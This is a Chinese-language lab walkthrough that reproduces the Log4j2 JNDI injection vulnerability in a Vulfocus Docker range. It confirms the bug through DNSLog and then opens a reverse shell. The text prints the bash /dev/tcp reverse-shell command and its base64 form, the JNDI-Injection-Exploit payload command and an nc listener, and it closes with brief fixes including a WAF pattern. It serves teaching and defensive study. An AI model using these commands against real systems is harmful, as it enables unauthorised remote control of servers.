概述
目录
环境搭建
log4j2 DNSLog测试
JNDI注入反弹shell
环境搭建
靶机:Ubuntu 5.4.0-117-generic 192.168.6.183 攻击机:Kali 5.16.0-kali7-amd64 192.168.6.212 靶机: #首先拉一个docker镜像 docker pull vulfocus/vulfocus #查看镜像 docker images #启动 docker run -d -p 8081:80 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=172.16.124.129 vulfocus/vulfocus
浏览器中访问目标IP的8081端口:
查看镜像,将log4j漏洞的镜像拉取下来:
log4j2 DNSLog测试
在首页启动log4j2镜像:
访问此地址:
进行DNSLog验证:点击get subdomain得到一个dns:72lrrx.dnslog.cn
使用bp对http://172.16.124.129:60067/页面抓包:
修改参数:
发到reperter模块查看:
放包:
查看DNSLog页面,点击Refresh Record:
DNSLog网站收到解析记录,说明这里有log4j2漏洞。
JNDI注入反弹shell
利用JNDI注入工具在攻击机上开启JNDI服务器,在攻击机Kali中安装:
git clone https://github.com/sayers522/JNDI-Injection-Exploit.git
进入目录,使用mvn工具打包:
#未进行安装的话,安装mvn apt install maven -y #打包 mvn clean package -DskipTests
会生成一个target文件夹:
生成payload:
bash -i >& /dev/tcp/192.168.6.212/1234 0>&1
将其进行base64编码:
#生成payload java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjYuMjEyLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "192.168.6.212"
反弹shell: 监听端口1234: nc -lvvp 1234
将payload进行url编码:
放包,看是否反弹:
反弹成功。
修复方案
升级到最新版本
在WAF中配置规则,阻断攻击性输入
攻击字符串得特性是 ${jndi:schema://url},通过正则表达式进行匹配,阻断带有上述特征的请求即可。因为应用系统的多样性等原因,直接WAF阻断存在干扰正常业务功能的风险。
最后
以上就是明理雪碧为你收集整理的log4j2复现的全部内容,希望文章能够帮你解决log4j2复现所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
发表评论 取消回复